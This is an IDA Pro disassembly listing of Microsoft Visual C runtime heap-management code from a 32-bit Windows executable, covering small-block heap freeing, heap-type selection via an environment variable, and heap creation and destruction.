		mov	ecx, [ebp+var_38]
		mov	edx, [ebp+var_38]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_424590
		cmp	[ebp+var_24], 20h
		jnb	short loc_424525
		mov	edx, 80000000h
		mov	ecx, [ebp+var_24]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_3C]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_3C]
		add	edx, [ebp+var_24]
		mov	[edx+4], cl
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_424523
		mov	edx, 80000000h
		mov	ecx, [ebp+var_24]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_424523:				; CODE XREF: sub_424410+F9j
		jmp	short loc_424590
; ---------------------------------------------------------------------------

loc_424525:				; CODE XREF: sub_424410+B4j
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_24]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_24]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_24]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_424590
		mov	ecx, [ebp+var_24]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx

loc_424590:				; CODE XREF: sub_424410+AAj
					; sub_424410:loc_424523j ...
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_38]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_38]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx+8]
		mov	[eax+8], edx
		mov	eax, [ebp+var_30]
		add	eax, [ebp+var_14]
		mov	[ebp+var_30], eax

loc_4245B7:				; CODE XREF: sub_424410+7Fj
		mov	ecx, [ebp+var_30]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_28], ecx
		cmp	[ebp+var_28], 3Fh
		jbe	short loc_4245D0
		mov	[ebp+var_28], 3Fh

loc_4245D0:				; CODE XREF: sub_424410+1B7j
		mov	edx, [ebp+var_C]
		and	edx, 1
		test	edx, edx
		jnz	loc_424734
		mov	eax, [ebp+var_1C]
		sub	eax, [ebp+var_C]
		mov	[ebp+var_34], eax
		mov	ecx, [ebp+var_C]
		sar	ecx, 4
		sub	ecx, 1
		mov	[ebp+var_2C], ecx
		cmp	[ebp+var_2C], 3Fh
		jbe	short loc_424600
		mov	[ebp+var_2C], 3Fh

loc_424600:				; CODE XREF: sub_424410+1E7j
		mov	edx, [ebp+var_30]
		add	edx, [ebp+var_C]
		mov	[ebp+var_30], edx
		mov	eax, [ebp+var_30]
		sar	eax, 4
		sub	eax, 1
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 3Fh
		jbe	short loc_424622
		mov	[ebp+var_28], 3Fh

loc_424622:				; CODE XREF: sub_424410+209j
		mov	ecx, [ebp+var_2C]
		cmp	ecx, [ebp+var_28]
		jz	loc_42472E
		mov	edx, [ebp+var_34]
		mov	eax, [ebp+var_34]
		mov	ecx, [edx+4]
		cmp	ecx, [eax+8]
		jnz	loc_424710
		cmp	[ebp+var_2C], 20h
		jnb	short loc_4246A5
		mov	edx, 80000000h
		mov	ecx, [ebp+var_2C]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_3C]
		mov	eax, [ecx+eax*4+44h]
		and	eax, edx
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	[edx+ecx*4+44h], eax
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		mov	cl, [eax+4]
		sub	cl, 1
		mov	edx, [ebp+var_3C]
		add	edx, [ebp+var_2C]
		mov	[edx+4], cl
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		movsx	ecx, byte ptr [eax+4]
		test	ecx, ecx
		jnz	short loc_4246A3
		mov	edx, 80000000h
		mov	ecx, [ebp+var_2C]
		shr	edx, cl
		not	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_4246A3:				; CODE XREF: sub_424410+279j
		jmp	short loc_424710
; ---------------------------------------------------------------------------

loc_4246A5:				; CODE XREF: sub_424410+234j
		mov	ecx, [ebp+var_2C]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		and	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_2C]
		mov	dl, [ecx+4]
		sub	dl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_2C]
		mov	[eax+4], dl
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_2C]
		movsx	edx, byte ptr [ecx+4]
		test	edx, edx
		jnz	short loc_424710
		mov	ecx, [ebp+var_2C]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		not	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		and	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx

loc_424710:				; CODE XREF: sub_424410+22Aj
					; sub_424410:loc_4246A3j ...
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx+8]
		mov	eax, [ebp+var_34]
		mov	ecx, [eax+4]
		mov	[edx+4], ecx
		mov	edx, [ebp+var_34]
		mov	eax, [edx+4]
		mov	ecx, [ebp+var_34]
		mov	edx, [ecx+8]
		mov	[eax+8], edx

loc_42472E:				; CODE XREF: sub_424410+218j
		mov	eax, [ebp+var_34]
		mov	[ebp+var_1C], eax

loc_424734:				; CODE XREF: sub_424410+1C8j
		mov	ecx, [ebp+var_C]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42474A
		mov	edx, [ebp+var_2C]
		cmp	edx, [ebp+var_28]
		jz	loc_42485A

loc_42474A:				; CODE XREF: sub_424410+32Cj
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_8]
		lea	edx, [ecx+eax*8]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_20]
		mov	[eax+8], ecx
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_1C]
		mov	[edx+4], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+4]
		mov	eax, [ebp+var_1C]
		mov	[edx+8], eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_1C]
		mov	eax, [ecx+4]
		cmp	eax, [edx+8]
		jnz	loc_42485A
		cmp	[ebp+var_28], 20h
		jnb	short loc_4247F3
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_28]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_4247D1
		mov	edx, 80000000h
		mov	ecx, [ebp+var_28]
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_4247D1:				; CODE XREF: sub_424410+3A9j
		mov	eax, 80000000h
		mov	ecx, [ebp+var_28]
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+44h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+44h], ecx
		jmp	short loc_42485A
; ---------------------------------------------------------------------------

loc_4247F3:				; CODE XREF: sub_424410+386j
		mov	ecx, [ebp+var_3C]
		add	ecx, [ebp+var_28]
		movsx	edx, byte ptr [ecx+4]
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	cl, [eax+4]
		add	cl, 1
		mov	eax, [ebp+var_3C]
		add	eax, [ebp+var_28]
		mov	[eax+4], cl
		test	edx, edx
		jnz	short loc_424831
		mov	ecx, [ebp+var_28]
		sub	ecx, 20h
		mov	edx, 80000000h
		shr	edx, cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		or	ecx, edx
		mov	edx, [ebp+arg_0]
		mov	[edx+4], ecx

loc_424831:				; CODE XREF: sub_424410+404j
		mov	ecx, [ebp+var_28]
		sub	ecx, 20h
		mov	eax, 80000000h
		shr	eax, cl
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_3C]
		mov	ecx, [edx+ecx*4+0C4h]
		or	ecx, eax
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+var_3C]
		mov	[eax+edx*4+0C4h], ecx

loc_42485A:				; CODE XREF: sub_424410+334j
					; sub_424410+37Cj ...
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+var_30]
		mov	[ecx], edx
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_30]
		mov	ecx, [ebp+var_30]
		mov	[eax-4], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		sub	eax, 1
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx], 0
		jnz	loc_4249E8
		cmp	Dst, 0
		jz	loc_4249D7
		mov	eax, dword_4F3BF4
		shl	eax, 0Fh
		mov	ecx, Dst
		mov	edx, [ecx+0Ch]
		add	edx, eax
		mov	[ebp+var_18], edx
		push	4000h
		push	8000h
		mov	eax, [ebp+var_18]
		push	eax
		call	ds:dword_4F54B0	; VirtualFree
		mov	edx, 80000000h
		mov	ecx, dword_4F3BF4
		shr	edx, cl
		mov	eax, Dst
		mov	ecx, [eax+8]
		or	ecx, edx
		mov	edx, Dst
		mov	[edx+8], ecx
		mov	eax, Dst
		mov	ecx, [eax+10h]
		mov	edx, dword_4F3BF4
		mov	dword ptr [ecx+edx*4+0C4h], 0
		mov	eax, Dst
		mov	ecx, [eax+10h]
		mov	dl, [ecx+43h]
		sub	dl, 1
		mov	eax, Dst
		mov	ecx, [eax+10h]
		mov	[ecx+43h], dl
		mov	edx, Dst
		mov	eax, [edx+10h]
		movsx	ecx, byte ptr [eax+43h]
		test	ecx, ecx
		jnz	short loc_424935
		mov	edx, Dst
		mov	eax, [edx+4]
		and	al, 0FEh
		mov	ecx, Dst
		mov	[ecx+4], eax

loc_424935:				; CODE XREF: sub_424410+50Fj
		mov	edx, Dst
		cmp	dword ptr [edx+8], 0FFFFFFFFh
		jnz	loc_4249D7
		push	8000h
		push	0
		mov	eax, Dst
		mov	ecx, [eax+0Ch]
		push	ecx
		call	ds:dword_4F54B0	; VirtualFree
		mov	edx, Dst
		mov	eax, [edx+10h]
		push	eax
		push	0
		mov	ecx, dword_4F3BE8
		push	ecx
		call	ds:dword_4F5414	; RtlFreeHeap
		mov	edx, dword_4F3C04
		imul	edx, 14h
		mov	eax, dword_4F3C08
		add	eax, edx
		mov	ecx, Dst
		add	ecx, 14h
		sub	eax, ecx
		push	eax		; Size
		mov	edx, Dst
		add	edx, 14h
		push	edx		; Src
		mov	eax, Dst
		push	eax		; Dst
		call	_memcpy_0
		add	esp, 0Ch
		mov	ecx, dword_4F3C04
		sub	ecx, 1
		mov	dword_4F3C04, ecx
		mov	edx, [ebp+arg_0]
		cmp	edx, Dst
		jbe	short loc_4249CB
		mov	eax, [ebp+arg_0]
		sub	eax, 14h
		mov	[ebp+arg_0], eax

loc_4249CB:				; CODE XREF: sub_424410+5B0j
		mov	ecx, dword_4F3C08
		mov	dword_4F3BF8, ecx

loc_4249D7:				; CODE XREF: sub_424410+47Ej
					; sub_424410+52Fj
		mov	edx, [ebp+arg_0]
		mov	Dst, edx
		mov	eax, [ebp+var_4]
		mov	dword_4F3BF4, eax

loc_4249E8:				; CODE XREF: sub_424410+58j
					; sub_424410+471j
		mov	esp, ebp
		pop	ebp
		retn
sub_424410	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000536 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [0000010F BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+"	TO EXPAND]
		align 10h
; [000001EE BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000005EB BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000130 BYTES: COLLAPSED FUNCTION ___sbh_heapmin. PRESS KEYPAD "+" TO EXPAND]
; [0000061D BYTES: COLLAPSED FUNCTION ___sbh_heap_check. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, dword_453CEC
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [0000002B BYTES: COLLAPSED FUNCTION __set_sbh_threshold. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [000001DE BYTES: COLLAPSED FUNCTION ___sbh_new_region. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000073 BYTES: COLLAPSED FUNCTION ___sbh_release_region. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000157 BYTES: COLLAPSED FUNCTION ___sbh_decommit_pages. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000090 BYTES: COLLAPSED FUNCTION ___sbh_find_block_0. PRESS KEYPAD	"+" TO EXPAND]
; [0000006C BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000003B8 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block_0. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [000002A9 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block_from_page. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
; [00000164 BYTES: COLLAPSED FUNCTION ___sbh_resize_block_0. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000237 BYTES: COLLAPSED FUNCTION ___sbh_heap_check_0. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426E90	proc near		; CODE XREF: .text:00424252p
					; sub_426EF0+1FBp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax], 0
		push	0
		call	ds:dword_4F5370	; GetModuleHandleA
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		mov	dx, [ecx]
		cmp	edx, 5A4Dh
		jnz	short loc_426EC3
		mov	eax, [ebp+var_8]
		cmp	dword ptr [eax+3Ch], 0
		jnz	short loc_426EC5

loc_426EC3:				; CODE XREF: sub_426E90+28j
		jmp	short loc_426EE8
; ---------------------------------------------------------------------------

loc_426EC5:				; CODE XREF: sub_426E90+31j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		add	edx, [ecx+3Ch]
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx+1Ah]
		mov	[eax], dl
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx+1Bh]
		mov	[eax+1], dl

loc_426EE8:				; CODE XREF: sub_426E90:loc_426EC3j
		mov	esp, ebp
		pop	ebp
		retn
sub_426E90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426EF0	proc near		; CODE XREF: sub_427120:loc_42714Cp

Str		= dword	ptr -1238h
var_1234	= dword	ptr -1234h
var_1230	= dword	ptr -1230h
SubStr		= byte ptr -122Ch
Str2		= byte ptr -1128h
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_88		= dword	ptr -88h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1238h
		call	__alloca_probe
		mov	[ebp+Str], 0
		mov	[ebp+var_98], 94h
		lea	eax, [ebp+var_98]
		push	eax
		call	ds:dword_4F539C	; GetVersionExA
		test	eax, eax
		jz	short loc_426F3E
		cmp	[ebp+var_88], 2
		jnz	short loc_426F3E
		cmp	[ebp+var_94], 5
		jb	short loc_426F3E
		mov	eax, 1
		jmp	loc_427110
; ---------------------------------------------------------------------------

loc_426F3E:				; CODE XREF: sub_426EF0+30j
					; sub_426EF0+39j ...
		push	1090h
		lea	ecx, [ebp+Str2]
		push	ecx
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	ds:dword_4F54B8	; GetEnvironmentVariableA
		test	eax, eax
		jz	loc_4270E4
		lea	edx, [ebp+Str2]
		mov	[ebp+var_4], edx
		jmp	short loc_426F71
; ---------------------------------------------------------------------------

loc_426F68:				; CODE XREF: sub_426EF0:loc_426F9Ej
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax

loc_426F71:				; CODE XREF: sub_426EF0+76j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_426FA0
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 61h
		jl	short loc_426F9E
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 7Ah
		jg	short loc_426F9E
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		add	dl, 0E0h
		mov	eax, [ebp+var_4]
		mov	[eax], dl

loc_426F9E:				; CODE XREF: sub_426EF0+94j
					; sub_426EF0+9Fj
		jmp	short loc_426F68
; ---------------------------------------------------------------------------

loc_426FA0:				; CODE XREF: sub_426EF0+89j
		push	16h		; MaxCount
		lea	ecx, [ebp+Str2]
		push	ecx		; Str2
		push	offset Str1	; "__GLOBAL_HEAP_SELECTED"
		call	_strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426FC8
		lea	edx, [ebp+Str2]
		mov	[ebp+Str], edx
		jmp	short loc_42703B
; ---------------------------------------------------------------------------

loc_426FC8:				; CODE XREF: sub_426EF0+C8j
		push	104h
		lea	eax, [ebp+SubStr]
		push	eax
		push	0
		call	ds:dword_4F5344	; GetModuleFileNameA
		lea	ecx, [ebp+SubStr]
		mov	[ebp+var_4], ecx
		jmp	short loc_426FF0
; ---------------------------------------------------------------------------

loc_426FE7:				; CODE XREF: sub_426EF0:loc_42701Dj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_426FF0:				; CODE XREF: sub_426EF0+F5j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42701F
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 61h
		jl	short loc_42701D
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 7Ah
		jg	short loc_42701D
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		add	cl, 0E0h
		mov	edx, [ebp+var_4]
		mov	[edx], cl

loc_42701D:				; CODE XREF: sub_426EF0+113j
					; sub_426EF0+11Ej
		jmp	short loc_426FE7
; ---------------------------------------------------------------------------

loc_42701F:				; CODE XREF: sub_426EF0+108j
		lea	eax, [ebp+SubStr]
		push	eax		; SubStr
		lea	ecx, [ebp+Str2]
		push	ecx		; Str
		call	_strstr
		add	esp, 8
		mov	[ebp+Str], eax

loc_42703B:				; CODE XREF: sub_426EF0+D6j
		cmp	[ebp+Str], 0
		jz	loc_4270E4
		push	2Ch		; Val
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	_strchr
		add	esp, 8
		mov	[ebp+Str], eax
		cmp	[ebp+Str], 0
		jz	short loc_4270E4
		mov	eax, [ebp+Str]
		add	eax, 1
		mov	[ebp+Str], eax
		mov	ecx, [ebp+Str]
		mov	[ebp+var_4], ecx

loc_427080:				; CODE XREF: sub_426EF0:loc_4270A6j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_4270A8
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Bh
		jnz	short loc_42709D
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		jmp	short loc_4270A6
; ---------------------------------------------------------------------------

loc_42709D:				; CODE XREF: sub_426EF0+1A3j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx

loc_4270A6:				; CODE XREF: sub_426EF0+1ABj
		jmp	short loc_427080
; ---------------------------------------------------------------------------

loc_4270A8:				; CODE XREF: sub_426EF0+198j
		push	0Ah		; Radix
		push	0		; EndPtr
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	_strtol
		add	esp, 0Ch
		mov	[ebp+var_1230],	eax
		cmp	[ebp+var_1230],	2
		jz	short loc_4270DC
		cmp	[ebp+var_1230],	3
		jz	short loc_4270DC
		cmp	[ebp+var_1230],	1
		jnz	short loc_4270E4

loc_4270DC:				; CODE XREF: sub_426EF0+1D8j
					; sub_426EF0+1E1j
		mov	eax, [ebp+var_1230]
		jmp	short loc_427110
; ---------------------------------------------------------------------------

loc_4270E4:				; CODE XREF: sub_426EF0+67j
					; sub_426EF0+152j ...
		lea	eax, [ebp+var_1234]
		push	eax
		call	sub_426E90
		add	esp, 4
		mov	ecx, [ebp+var_1234]
		and	ecx, 0FFh
		cmp	ecx, 6
		jl	short loc_42710B
		mov	eax, 3
		jmp	short loc_427110
; ---------------------------------------------------------------------------

loc_42710B:				; CODE XREF: sub_426EF0+212j
		mov	eax, 2

loc_427110:				; CODE XREF: sub_426EF0+49j
					; sub_426EF0+1F2j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_426EF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427120	proc near		; CODE XREF: start+7Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	1000h
		xor	eax, eax
		cmp	[ebp+arg_0], 0
		setz	al
		push	eax
		call	ds:dword_4F54C0	; HeapCreate
		mov	dword_4F3BE8, eax
		cmp	dword_4F3BE8, 0
		jnz	short loc_42714C
		xor	eax, eax
		jmp	short loc_4271AB
; ---------------------------------------------------------------------------

loc_42714C:				; CODE XREF: sub_427120+26j
		call	sub_426EF0
		mov	dword_4F3BEC, eax
		cmp	dword_4F3BEC, 3
		jnz	short loc_427183
		push	3F8h
		call	___sbh_heap_init
		add	esp, 4
		test	eax, eax
		jnz	short loc_427181
		mov	ecx, dword_4F3BE8
		push	ecx
		call	ds:dword_4F54BC	; HeapDestroy
		xor	eax, eax
		jmp	short loc_4271AB
; ---------------------------------------------------------------------------

loc_427181:				; CODE XREF: sub_427120+4Ej
		jmp	short loc_4271A6
; ---------------------------------------------------------------------------

loc_427183:				; CODE XREF: sub_427120+3Dj
		cmp	dword_4F3BEC, 2
		jnz	short loc_4271A6
		call	___sbh_new_region
		test	eax, eax
		jnz	short loc_4271A6
		mov	edx, dword_4F3BE8
		push	edx
		call	ds:dword_4F54BC	; HeapDestroy
		xor	eax, eax
		jmp	short loc_4271AB
; ---------------------------------------------------------------------------

loc_4271A6:				; CODE XREF: sub_427120:loc_427181j
					; sub_427120+6Aj ...
		mov	eax, 1

loc_4271AB:				; CODE XREF: sub_427120+2Aj
					; sub_427120+5Fj ...
		pop	ebp
		retn
sub_427120	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	dword_4F3BEC, 3
		jnz	loc_42724A
		mov	eax, dword_4F3C08
		mov	[ebp-8], eax
		mov	dword ptr [ebp-4], 0
		jmp	short loc_4271DD
; ---------------------------------------------------------------------------

loc_4271D4:				; CODE XREF: .text:00427231j
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx

loc_4271DD:				; CODE XREF: .text:004271D2j
		mov	edx, [ebp-4]
		cmp	edx, dword_4F3C04
		jge	short loc_427233
		push	4000h
		push	100000h
		mov	eax, [ebp-8]
		mov	ecx, [eax+0Ch]
		push	ecx
		call	ds:dword_4F54B0	; VirtualFree
		push	8000h
		push	0
		mov	edx, [ebp-8]
		mov	eax, [edx+0Ch]
		push	eax
		call	ds:dword_4F54B0	; VirtualFree
		mov	ecx, [ebp-8]
		mov	edx, [ecx+10h]
		push	edx
		push	0
		mov	eax, dword_4F3BE8
		push	eax
		call	ds:dword_4F5414	; RtlFreeHeap
		mov	ecx, [ebp-8]
		add	ecx, 14h
		mov	[ebp-8], ecx
		jmp	short loc_4271D4
; ---------------------------------------------------------------------------

loc_427233:				; CODE XREF: .text:004271E6j
		mov	edx, dword_4F3C08
		push	edx
		push	0
		mov	eax, dword_4F3BE8
		push	eax
		call	ds:dword_4F5414	; RtlFreeHeap
		jmp	short loc_427288
; ---------------------------------------------------------------------------

loc_42724A:				; CODE XREF: .text:004271BDj
		cmp	dword_4F3BEC, 2
		jnz	short loc_427288
		mov	dword ptr [ebp-0Ch], offset off_451CC8

loc_42725A:				; CODE XREF: .text:00427286j
		mov	ecx, [ebp-0Ch]
		cmp	dword ptr [ecx+10h], 0
		jz	short loc_427277
		push	8000h
		push	0
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+10h]
		push	eax
		call	ds:dword_4F54B0	; VirtualFree

loc_427277:				; CODE XREF: .text:00427261j
		mov	ecx, [ebp-0Ch]
		mov	edx, [ecx]
		mov	[ebp-0Ch], edx
		cmp	dword ptr [ebp-0Ch], offset off_451CC8
		jnz	short loc_42725A

loc_427288:				; CODE XREF: .text:00427248j
					; .text:00427251j
		mov	eax, dword_4F3BE8
		push	eax
		call	ds:dword_4F54BC	; HeapDestroy
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
; [000000B7 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [000001E4 BYTES: COLLAPSED FUNCTION __filbuf.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000082 BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000445 BYTES: COLLAPSED FUNCTION __read_lk. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000031D BYTES: COLLAPSED FUNCTION __openfile. PRESS	KEYPAD "+" TO EXPAND]
off_427D4D	dd offset loc_427B7B	; DATA XREF: __openfile+144r
		dd offset loc_427CA6
		dd offset loc_427C65
		dd offset loc_427C44
		dd offset loc_427C86
		dd offset loc_427BB5
		dd offset loc_427BFC
		dd offset loc_427C20
		dd offset loc_427BD9
		dd offset loc_427CC3
byte_427D75	db 0			; DATA XREF: __openfile+13Er
		dw 909h
		dd 5 dup(9090909h), 9010909h, 3	dup(9090909h), 9040302h
		dd 3 dup(9090909h), 9090605h, 2	dup(9090909h), 9090907h
		dd 0CC080909h
; [00000180 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD	"+" TO EXPAND]
; [00000274 BYTES: COLLAPSED FUNCTION __flsbuf.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000C24 BYTES: COLLAPSED FUNCTION unknown_libname_7. PRESS KEYPAD "+" TO EXPAND]
off_428DE4	dd offset unknown_libname_8 ; DATA XREF: unknown_libname_7+B9r
					; Microsoft VisualC 2-8/net runtime
		dd offset loc_42831A
		dd offset loc_42835C
		dd offset loc_4283CB
		dd offset loc_428423
		dd offset loc_428432
		dd offset loc_42847E
		dd offset loc_428511
off_428E04	dd offset loc_4283A8	; DATA XREF: unknown_libname_7+1CCr
		dd offset loc_4283B3
		dd offset loc_42839E
		dd offset loc_428393
		dd offset loc_4283BE
		dd offset loc_4283C6
byte_428E1C	db 0			; DATA XREF: unknown_libname_7+1C6r
		db 2 dup(5), 1
		dd 5050505h, 2050505h, 5050305h
		db 4
		dd offset loc_4284C0	; DATA XREF: unknown_libname_7+2EEr
		dd offset loc_4284F9
		dd offset loc_4284B5
		dd offset loc_428503
		dd offset loc_42850C
byte_428E41	db 0			; DATA XREF: unknown_libname_7+2E8r
		dw 404h
		dd 7 dup(4040404h), 4040401h, 4040402h,	4040404h, 3040404h
